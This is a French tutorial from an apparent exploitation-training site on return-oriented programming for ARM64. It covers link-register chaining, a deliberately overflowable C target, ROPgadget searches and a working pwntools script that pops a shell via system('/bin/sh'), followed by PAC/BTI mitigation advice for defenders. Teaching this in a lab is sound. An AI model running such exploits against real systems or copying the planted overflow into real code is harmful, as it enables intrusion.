Aller au contenu

ROP sur ARM64 : les gadgets et le registre de lien

Les gadgets AArch64 finissent par ret, qui branche vers x30 : la chaîne s'enfile dans le registre de lien via des gadgets ldp. Puis PAC et BTI la brisent.

Publié le 4 min de lecture

Ceci est le deuxième tutoriel de l'espace Exploitation ARM64. Le guide précédent détournait un registre de lien sauvegardé pour atteindre une fonction win(). Ici il n'y en a aucune, alors nous chaînons du code existant — ROP — mais la mécanique change car ret branche vers x30, pas vers un emplacement de pile.

Votre propre binaire, labo jetable. Voir les règles du labo.

La chaîne circule à travers le registre de lien

Sur x86-64, ret dépile l'adresse du gadget suivant depuis la pile : une chaîne est donc simplement une liste d'adresses (voir le guide ROP x86). Sur AArch64, ret branche vers x30. Pour exécuter gadget après gadget, chaque gadget doit recharger x30 depuis la pile avant son ret. Le gadget de base est l'épilogue de fonction ordinaire :

ldp  x29, x30, [sp], #0x10   ; load next gadget address into x30 from the stack
ret                          ; branch to it

Une chaîne AArch64 est donc une séquence d'entrées de pile que le ldp de chaque gadget tire dans x30, entrelacées avec les valeurs d'arguments que d'autres gadgets chargent :

Une chaîne ROP AArch64 recharge x30 depuis la pile à chaque étape
ldp x29,x30,[sp],#0x10 ; retcharge le gadget suivant dans x30
ret -> x30
ldp x0,x1,[sp],#0x10 ; retcharge x0 = &"/bin/sh"
ret -> x30
system (in libc)appelé avec x0 = "/bin/sh"
codelibrary

Charger les arguments

Les arguments vivent dans x0–x7. Il vous faut des gadgets qui les chargent depuis la pile :

$ ROPgadget --binary vuln | grep -E 'ldp x0, x1, .*ret'
0x... : ldp x0, x1, [sp], #0x10 ; ret
$ ROPgadget --binary vuln | grep -E 'ldr x0, \[sp.*ret'
0x... : ldr x0, [sp, #0x8] ; ret

Pour system("/bin/sh") vous chargez x0 avec un pointeur vers la chaîne et branchez dans system.

La cible et la chaîne

/* vuln.c — AArch64, static, mitigations off. */
#include <unistd.h>
void vuln(void){ char b[64]; read(0, b, 512); }
int main(void){ setvbuf(stdout,0,2,0); vuln(); return 0; }
aarch64-linux-gnu-gcc -static -fno-stack-protector -no-pie \
  -mbranch-protection=none -O0 -g -o vuln vuln.c

pwntools comprend les gadgets AArch64 et agence la chaîne du registre de lien :

# arm_rop.py
from pwn import *

context.binary = elf = ELF("./vuln")          # context.arch = 'aarch64'
libc = elf                                     # static: system + "/bin/sh" inside

rop = ROP(elf)
binsh = next(elf.search(b"/bin/sh\x00"))
rop.call(elf.symbols["system"], [binsh])       # loads x0, branches to system
info(rop.dump())

payload = flat({72: rop.chain()})              # 72 = offset to saved lr
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.send(payload)
io.interactive()

Le premier gadget ldp … ret (atteint via le x30 sauvegardé écrasé) tire le gadget suivant dans x30 ; celui-ci charge x0 ; le dernier branchement entre dans system. Même objectif que sur x86 — system("/bin/sh") — atteint en enfilant la chaîne à travers le registre de lien plutôt que par le pointeur de pile.

La rareté des gadgets est réelle sur ARM

AArch64 est à largeur fixe (4 octets) sans décodage non aligné : vous ne pouvez donc pas tailler de gadgets depuis le milieu des instructions comme sur x86. L'offre de gadgets est plus réduite. Quand elle vient à manquer, les attaquants se rabattent sur la réutilisation de fonctions entières (ret2libc) — qui sur ARM est souvent la voie la plus facile — ou sur des astuces de trame de signal.

Réactiver les mitigations

Les défenses ARM contre la réutilisation de code sont des fonctionnalités matérielles qui s'attaquent directement à la chaîne :

MitigationEffet sur la chaîne
Canari de pileArrête le débordement avant le premier ldp/ret
PIE + ASLRRend les gadgets aléatoires ; nécessite une fuite
PAC (pac-ret)Chaque ret protégé authentifie x30 ; un registre de lien falsifié déclenche une faute
BTILes branchements indirects doivent atterrir sur une instruction bti ; les gadgets en milieu de fonction sont des cibles invalides

PAC et BTI font tous deux l'objet du guide suivant. En résumé : PAC brise l'arête arrière (les retours), BTI brise l'arête avant (les sauts/appels indirects), et ensemble ils rendent la réutilisation de code sur ARM nettement plus difficile que sur x86-64 standard.

Ce que cela apprend à un défenseur

  • La chaîne du registre de lien est la signature ARM. Reconnaître les gadgets ldp x29, x30, [sp], … dans une chaîne, c'est savoir lire l'exploitation AArch64. Côté défense, ce sont exactement les retours que PAC signe.
  • Livrez -mbranch-protection=standard. Il active à la fois PAC et BTI. Sur du matériel ARMv8.3+ c'est la mesure unique la plus efficace contre la technique de ce guide.
  • Un ISA à largeur fixe aide, un peu. Moins de gadgets est un bénéfice réel (bien que secondaire) d'AArch64. Ne comptez pas dessus — les gros binaires en ont encore assez — mais des builds épurés, statiques au minimum, amplifient l'effet.

Points clés à retenir

  • Le ret d'AArch64 branche vers x30 : une chaîne ROP recharge donc x30 depuis la pile à chaque étape via des gadgets ldp x29, x30, [sp], #N ; ret.
  • Les arguments sont chargés dans x0–x7 avec des gadgets ldp/ldr ; system("/bin/sh") requiert que x0 soit positionné.
  • Les instructions à largeur fixe rendent les gadgets plus rares que sur x86, poussant les attaquants vers ret2libc.
  • PAC (arête arrière) et BTI (arête avant) sont les mitigations ARM conçues pour briser cela — traitées ensuite.

Suite : PAC et BTI, les défenses d'authentification de pointeur et de cible de branchement qui font échouer cette chaîne.

Guides associés

0x7000 · Techniques d'exploitation

ret2csu : emprunter le gadget universel du runtime

Pas de gadget pop rdx ? Le code de démarrage du runtime C a une séquence universelle qui charge plusieurs registres et fait un appel contrôlé. Construisez-la avec pwntools.

0x7000 · Techniques d'exploitation

Stack pivoting : relocaliser la chaîne ROP

Quand le débordement dépasse à peine l'adresse de retour, déplacez rsp vers un tampon maîtrisé et exécutez-y la vraie chaîne. Tutoriel pwntools.